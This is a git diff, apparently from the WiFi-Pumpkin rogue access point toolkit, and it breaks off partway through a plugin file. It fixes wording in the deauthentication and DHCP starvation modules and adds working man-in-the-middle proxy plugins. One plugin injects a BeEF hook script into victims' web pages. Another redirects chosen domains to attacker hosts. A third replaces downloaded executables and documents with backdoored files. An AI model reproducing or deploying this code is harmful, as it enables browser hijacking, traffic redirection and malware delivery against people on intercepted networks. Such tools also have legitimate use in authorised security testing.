zPEJltZETRRZGL1+T3J0sOH52Oje7-R4b*y8RtD?GoxEB6>v|`n@KE|p@nGnM(+VES zgA4E-sF~75^{A&$rw(10Vohl2=tNXhjC+&1A+8b;5us!g)u5$AnI1l)_(XOk_s5Sn zQ`K%zkE1XEl=~MTORXShTV7qA-&sWMN%&}2T=xgnV!==f#AMeLEly<+=>Q+W28NvD z6$kMmDAG`BI>^oCm6TpQ!9gV#%bPi$R{(8%wQtZ8gwO7!`R}d^|9oA(9#y~r5P(vf zfoKKPZE%eWyZM{ZOxncTm4F`Ucy71sDc48~9nD;$r>93L=b)7VCC&oD-`-c@w-6{$ zf+jRuI8KBho7%qaYCoHhP( z>fN0KbTg0bTM&1d;&QSiA5pBgdQw?*b|`Q%LJt#O63GOijuZ=qLU5}$;~$)1$xYM z!*%(4wCj4w@JNXTA?oN}&P?uM2q8^~CF*gJv9Pe1+I^mK58PJ=2RXCJKb_<$f*7DO zqzzk-XI)Ss=)EI)?c3q?$+=WpBHqYJo>4lPEoq5oV zNe+pBFJ`K(sBnux2hTZx5>TdFfL*De)WUEdy28Ep9_zR-e^S?5TTO^)&1Si2BeQ~mODoJz738n5$(#ykm+vc7(Q(G zyX!oty?7MKaycK)Ew7Q_^FZ9<5Y6Yv<<>}TrLVB3x7n2R=%G13itTQ6w4at^2Y&)I zARuKuVoR-*w6p})#D*#`8YkuS^d2RjEzp32B-hCySXknjXDddwAhj zox1G|Zn)n0!C$^{<4Hr9ImT9Sn*9lR|;S8Ob^ z&F_8YI<+8cpdc^*3_d5a_aER|0}&Y?7Y900($dg2*LE!=HG1QEN>&zKO$k9g${R6? zSvQI7kr#y3a`%0Da?hkC%O>)*K$hX3oh@*@5YZLS4KiRr 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 anX%jd`vq3rTe9#1Gzn4JmwC_M`2G(V8eixD literal 0 HcmV?d00001 diff --git a/icons/donatepay.gif b/icons/donatepay.gif new file mode 100644 index 0000000000000000000000000000000000000000..4700ced8c066bb1c4f057c4d4c6432d3c8c45c42 GIT binary patch literal 3592 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 literal 0 HcmV?d00001 diff --git a/icons/pumpkinproxy.png b/icons/pumpkinproxy.png new file mode 100644 index 0000000000000000000000000000000000000000..83bdece9f47b22f1642e4e7b4a1cab0c1037ec49 GIT binary patch literal 1563 zcmV+$2ITpPP)Kb_=+Z7*RP$ucfdJGqrP*!1t4i9 zcFb4fuit~fA)rgrpzmIu^i%_Df!$1Wtpiv*aYE9AV(SzXfYa{{*cGI?{fS5Mv=uZ3j6@H zOZqwbpi0s_V6mi2IfTpswmM=O+#G2s!BawkMn7ipqB6yLs1heSt2zNOf1iCQ~FyUe)=|$jO>~?yxO44@VNMy`E zmkko`RzAVIgm`(Z-vq=|o_Nv435G@qR zLnNILsm63|H}N9LLKp_V#SB}2&VCCqrndogK8qzL07)BxJwRiiCGTUQZCCDvO44)K zG2eiH3t(ZM2$&e;_0V z?Nsz$;oS0Tm_;v^U@eNE0&qIGAB(v9-G8@%R!MEZJD85nEwIc_ZvKQifuz~M7VM}m z3Pp416HtR)q&7MR+OiR*%LjZY=`+koWf;#SjbJIV_S_qri&UF2;f1;rOdvQ3R0B;w zlcZmOcHpd}QI{Y1R8lu4tY@*x(Dmp7vdnUZ_&3v7NYo8Fyo{x)1|+rPDnGL7PfzY( zNy{+(&aE6Jf=UP=i$>r}V4tKe;Hac~FcvSY!59w}D0v}q3FpCl-~jM_b%D8}GiNxx#5qO+khzEc4{D)18K$N!YH$;IN2 z4dU2<#lSbf-;#E^*nHZf6eHLG90dNA^uDCYQs>hGWm!>j3Lj6d~h)Sy<_5T45#-N}GVRF(ZJq2}m0=0!W*Hv@s)qvK!4#mj|J`l9|2EF`n(3f6(3Jv4UYL*NgfB>z;3L^6zN`l;ih+KmZf3n}LBOTY!JID4VcprUWq6)l@3 z?Zqmz%~&#IDq;ldWo-BDW%NGUk@EH@Sj9F&xb~NFF$5gL8lrE+nHXEQvsGP5$4IH5 z8Nn?qKRH%tjf;|vo2wC=#p(qWEooyPS$1Hh_OjaYgIIT21M;gCXll5GS@c++#S}v5 z9-#r?ElGO_*VZx$oWTs+Z)L9a2omw{u0eT^YmC}VX^l+}fa929OY94?q&r22fJ2gw zVgXeKzi)>R0^O4CCP^PuD8h3Q*eR^%FZ=abwCV8<))#mL&#%2g;eQ -""" - -class frm_mac_generator(PumpkinModule): - def __init__(self, parent=None): - super(frm_mac_generator, self).__init__(parent) - self.setWindowIcon(QIcon('icons/icon.ico')) - self.setWindowTitle("MAC Address Generator") - self.Main = QVBoxLayout() - self.prefix = [ 0x00, 0xCB, 0x01,0x03 ,\ - 0x84,0x78,0xAC, 0x88,0xD3,\ - 0x7B, 0x8C,0x7C,0xB5, 0x90,0x99,0x16, \ - 0x9C, 0x6A ,0xBE , 0x55, 0x12, 0x6C , 0xD2,\ - 0x8b, 0xDA, 0xF1, 0x9c , 0x20 , 0x3A, 0x4A,\ - 0x2F, 0x31, 0x32, 0x1D, 0x5F, 0x70, 0x5A,\ - 0x5B, 0x5C, 0x63, 0x4F, 0x3F, 0x5F, 0x9E] - - self.loadtheme(self.configure.XmlThemeSelected()) - self.MacGUI() - - @pyqtSlot(QModelIndex) - def combo_clicked(self, device): - if device == '': - self.i_mac.setText('Not Found') - return - self.i_mac.setText(Refactor.get_interface_mac(device)) - - def action_btn_random(self): - mac = Refactor.randomMacAddress([random.choice(self.prefix) , - random.choice(self.prefix) , random.choice(self.prefix)]) - self.i_mac.setText(mac) - - def setMAC(self,device,mac): - subprocess.check_call(["ifconfig",device, "down"]) - subprocess.call(["ifconfig",device, "hw", "ether",mac]) - subprocess.check_call(["ifconfig",device, "up"]) - - def change_macaddress(self): - if not geteuid() == 0: - QMessageBox.information(self, "Permission Denied", - 'Tool must be run as root try again.') - else: - self.setMAC(str(self.combo_card.currentText()), str(self.i_mac.text())) - self.deleteLater() - - def MacGUI(self): - self.form_mac = QFormLayout() - self.i_mac = QLineEdit(self) - self.combo_card = QComboBox(self) - self.btn_random = QPushButton("Random MAC") - self.btn_random.setIcon(QIcon("icons/refresh.png")) - self.btn_save = QPushButton("Save") - self.btn_save.setIcon(QIcon("icons/Save.png")) - self.btn_save.clicked.connect(self.change_macaddress) - self.btn_random.clicked.connect(self.action_btn_random) - self.cards = Refactor.get_interfaces()['all'] - self.combo_card.addItems(self.cards) - self.connect(self.combo_card, SIGNAL('activated(QString)'), self.combo_clicked) - self.form_mac.addRow(self.combo_card,self.i_mac) - self.form_mac.addRow("MAC Random: ", self.btn_random) - self.form_mac.addRow(self.btn_save) - self.Main.addLayout(self.form_mac) - self.setLayout(self.Main) - diff --git a/modules/systems/dhcpStarvation.py b/modules/systems/dhcpStarvation.py index 0346a85..bd54817 100644 --- a/modules/systems/dhcpStarvation.py +++ b/modules/systems/dhcpStarvation.py @@ -65,7 +65,7 @@ def D_attack(self): self.threadstar.setObjectName("DHCP Starvation") self.threadstar.start() return - QMessageBox.information(self, 'Interface Not found', 'None detected network interface try again.') + QMessageBox.information(self, 'Interface No found', 'No Network Adapters were detected.') def attack_OFF(self): self.check.setStyleSheet("QLabel { color : red; }") diff --git a/modules/wireless/ProbeRequest.py b/modules/wireless/ProbeRequest.py index a7e5d80..1634620 100644 --- a/modules/wireless/ProbeRequest.py +++ b/modules/wireless/ProbeRequest.py @@ -69,7 +69,7 @@ def setupGUI(self): # create all buttons self.btn_scan = QPushButton('Start') self.btn_stop = QPushButton('Stop') - self.btn_refrash = QPushButton('Refrash') + self.btn_refrash = QPushButton('Refresh') self.btn_refrash.clicked.connect(self.loadCard) self.btn_stop.clicked.connect(self.StopProbeResquest) self.btn_scan.clicked.connect(self.StartProbeResquest) @@ -151,7 +151,7 @@ def StopProbeResquest(self): def StartProbeResquest(self): if self.get_placa.currentText() == '': - return QMessageBox.information(self, 'Network Adapter', 'Network Adapter Not found try again.') + return QMessageBox.information(self, 'Network Adapter', 'Network Adapter is not found. Try again.') self.btn_stop.setEnabled(True) self.btn_scan.setEnabled(False) set_monitor_mode(self.get_placa.currentText()).setEnable() diff --git a/modules/wireless/WirelessDeauth.py b/modules/wireless/WirelessDeauth.py index c2cbca0..1b568f0 100644 --- a/modules/wireless/WirelessDeauth.py +++ b/modules/wireless/WirelessDeauth.py @@ -31,7 +31,7 @@ class frm_deauth(PumpkinModule): def __init__(self, parent=None): super(frm_deauth, self).__init__(parent) self.Main = QVBoxLayout() - self.setWindowTitle("Deauth Attack wireless Route") + self.setWindowTitle("Wireless Deauthentication Attack") self.setWindowIcon(QIcon('icons/icon.ico')) self.ApsCaptured = {} self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} @@ -41,7 +41,7 @@ def __init__(self, parent=None): def closeEvent(self, event): global threadloading if len(threadloading['deauth']) != 0 or len(threadloading['mdk3']) != 0: - reply = QMessageBox.question(self, 'About Exit',"Are you sure to quit?", + reply = QMessageBox.question(self, 'About Exit',"Are you sure that you want to quit?", QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if reply == QMessageBox.Yes: event.accept() @@ -101,16 +101,16 @@ def window_qt(self): self.linetarget = QLineEdit(self) self.input_client = QLineEdit(self) self.checkbox_client = QCheckBox(self) - self.checkbox_client.setText('set a Custom client to deauth') + self.checkbox_client.setText('Set a custom client to deauthenticate') self.checkbox_client.clicked.connect(self.get_event_checkbox_client) self.input_client.setText("ff:ff:ff:ff:ff:ff") self.btn_enviar = QPushButton("Send Attack", self) self.btn_enviar.clicked.connect(self.attack_deauth) - self.btn_scan_start = QPushButton("Start scan", self) + self.btn_scan_start = QPushButton("Start Scan", self) self.btn_scan_start.clicked.connect(self.SettingsScan) self.btn_stop = QPushButton("Stop Attack ", self) self.btn_stop.clicked.connect(self.kill_thread) - self.btn_scan_stop = QPushButton('Stop scan',self) + self.btn_scan_stop = QPushButton('Stop Scan',self) self.btn_scan_stop.clicked.connect(self.kill_scanAP) self.btn_enviar.setFixedWidth(170) self.btn_stop.setFixedWidth(170) @@ -143,7 +143,7 @@ def window_qt(self): self.GroupBoxSettings = QGroupBox() self.layoutGroupST = QVBoxLayout() self.GroupBoxSettings.setLayout(self.layoutGroupST) - self.GroupBoxSettings.setTitle('settings:') + self.GroupBoxSettings.setTitle('Settings:') self.layoutGroupST.addWidget(QLabel('Target:')) self.layoutGroupST.addWidget(self.linetarget) self.layoutGroupST.addWidget(QLabel('Options:')) @@ -165,8 +165,8 @@ def window_qt(self): def get_event_checkbox_client(self): if self.configure.Settings.get_setting('settings','deauth') == 'packets_mdk3': QMessageBox.warning(self,'mdk3 Deauth', - 'mdk3 Deauth not have this options, you can set custom ' - 'client deauth on modules->settings->Advanced tab (mdk3 args option) ') + 'mdk3 Deauth not have these options, you can set custom ' + 'client deauth on Modules->Settings->Advanced tab (mdk3 args option) ') return self.checkbox_client.setCheckable(False) if self.checkbox_client.isChecked(): self.input_client.setEnabled(True) @@ -231,7 +231,7 @@ def SettingsScan(self): self.ApsCaptured = {} self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} if self.get_placa.currentText() == "": - QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') + QMessageBox.information(self, "Network Adapter", 'Network Adapter is not found. Try again.') else: self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) self.btn_scan_stop.setEnabled(True) @@ -261,7 +261,7 @@ def attack_deauth(self): if self.thread_airodump.isAlive(): return QMessageBox.warning(self,'scanner','you need to stop the scanner Access Point') if self.linetarget.text() == '': - return QMessageBox.warning(self, 'Target Error', 'Please, first select Target for attack') + return QMessageBox.warning(self, 'Target Error', 'Please select a target to attack') # get args for thread attack self.btn_stop.setEnabled(True) self.btn_enviar.setEnabled(False) @@ -308,4 +308,4 @@ def list_clicked(self, index): self.linetarget.setText(str(i)) if self.linetarget.text() == '': QMessageBox.information(self, 'MacAddress', - 'Error check the Mac Target, please set the mac valid.') + 'Please select a valid MAC Address as target.') diff --git a/plugins/extension/__init__.py b/plugins/extension/__init__.py new file mode 100644 index 0000000..f8d8359 --- /dev/null +++ b/plugins/extension/__init__.py @@ -0,0 +1,5 @@ +#Hack grabbed from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python +#Has to be a cleaner way to do this, but it works for now +import os +import glob +__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] \ No newline at end of file diff --git a/plugins/extension/beef.py b/plugins/extension/beef.py new file mode 100644 index 0000000..23a89b2 --- /dev/null +++ b/plugins/extension/beef.py @@ -0,0 +1,56 @@ +from bs4 import BeautifulSoup +from mitmproxy.models import decoded +from plugins.extension.plugin import PluginTemplate + +""" +Description: + This program is a core for wifi-pumpkin.py. file which includes functionality + plugins for Pumpkin-Proxy. + +Copyright: + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class beef(PluginTemplate): + meta = { + 'Name' : 'beef', + 'Version' : '1.0', + 'Description' : 'this module proxy inject hook beef api url.[Hook URL]', + 'Author' : 'Marcos Nesster' + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + self.ConfigParser = True + self.urlhook = self.config.get_setting('set_beef','hook') + + def request(self, flow): + pass + + def response(self,flow): + with decoded(flow.response): # Remove content encoding (gzip, ...) + html = BeautifulSoup(flow.response.content) + """ + # To Allow CORS + if "Content-Security-Policy" in flow.response.headers: + del flow.response.headers["Content-Security-Policy"] + """ + if html.body: + script = html.new_tag( + 'script', + src=self.urlhook) + html.body.insert(0, script) + flow.response.content = str(html) + self.send_output.emit("[{}] Injected BeFF url hook...".format(self.Name)) \ No newline at end of file diff --git a/plugins/extension/dnsspoof.py b/plugins/extension/dnsspoof.py new file mode 100644 index 0000000..50e6fc3 --- /dev/null +++ b/plugins/extension/dnsspoof.py @@ -0,0 +1,73 @@ +import re +from ast import literal_eval +from plugins.extension.plugin import PluginTemplate + +""" +Description: + This program is a core for wifi-pumpkin.py. file which includes functionality + plugins for Pumpkin-Proxy. + +Copyright: + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +parse_host_header = re.compile(r"^(?P[^:]+|\[.+\])(?::(?P\d+))?$") + +class DNSspoof(PluginTemplate): + meta = { + 'Name' : 'dnsspoof', + 'Version' : '1.0', + 'Description' : 'directing a Domain Name Server (DNS) and all of its requests.', + 'Author' : 'Marcos Nesster', + } + + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + self.dict_domain = {} + self.ConfigParser = True + self.getAllDomainToredict() + + def getAllDomainToredict(self): + self.domains = self.config.get_all_childname('set_dnsspoof') + for item in self.domains: + if item.startswith('domain'): + indomain = literal_eval(str(self.config.get_setting('set_dnsspoof',item))) + self.dict_domain.update(indomain) + + def request(self, flow): + for domain in self.dict_domain.keys(): + if re.search(domain,flow.request.pretty_host): + if flow.client_conn.ssl_established: + flow.request.scheme = "https" + sni = flow.client_conn.connection.get_servername() + port = 443 + else: + flow.request.scheme = "http" + sni = None + port = 80 + + host_header = flow.request.pretty_host + m = parse_host_header.match(host_header) + if m: + host_header = m.group("host").strip("[]") + if m.group("port"): + port = int(m.group("port")) + flow.request.port = port + flow.request.host = self.dict_domain[domain] + self.send_output.emit('[dnsspoof]:: {} spoofed DNS response'.format(domain)) + + def response(self, flow): + pass \ No newline at end of file diff --git a/plugins/extension/downloadspoof.py b/plugins/extension/downloadspoof.py new file mode 100644 index 0000000..3e3dd23 --- /dev/null +++ b/plugins/extension/downloadspoof.py @@ -0,0 +1,66 @@ +from os import path +from mitmproxy.models import decoded +from plugins.extension.plugin import PluginTemplate + +""" +Description: + This program is a core for wifi-pumpkin.py. file which includes functionality + plugins for Pumpkin-Proxy. + +Copyright: + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +exe_mimetypes = ['application/octet-stream', 'application/x-msdownload', +'application/exe', 'application/x-exe', 'application/dos-exe', 'vms/exe', +'application/x-winexe', 'application/msdos-windows', 'application/x-msdos-program'] + +class downloadspoof(PluginTemplate): + meta = { + 'Name' : 'downloadspoof', + 'Version' : '1.0', + 'Description' : 'Replace files being downloaded via HTTP with malicious versions.', + 'Author' : 'Marcos Nesster' + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + self.ConfigParser = True + self.payloads = { + 'application/pdf': self.config.get_setting('set_downloadspoof','backdoorPDFpath'), + 'application/msword': self.config.get_setting('set_downloadspoof','backdoorWORDpath'), + 'application/x-msexcel' : self.config.get_setting('set_downloadspoof','backdoorXLSpath'), + } + for mime in exe_mimetypes: + self.payloads[mime] = self.config.get_setting('set_downloadspoof','backdoorExePath') + + def request(self, flow): + pass + + def response(self, flow): + try: + # for another format file types + content = flow.response.headers['Content-Type'] + if content in self.payloads: + if path.isfile(self.payloads[content]): + with decoded(flow.response): + self.send_output.emit('[downloadspoof]:: URL: {}'.format(flow.request.url)) + self.send_output.emit("[downloadspoof]:: Replaced file of mimtype {} with malicious version".format(content)) + flow.response.content = open(self.payloads[content],'rb').read() + self.send_output.emit('[downloadspoof]:: Patching 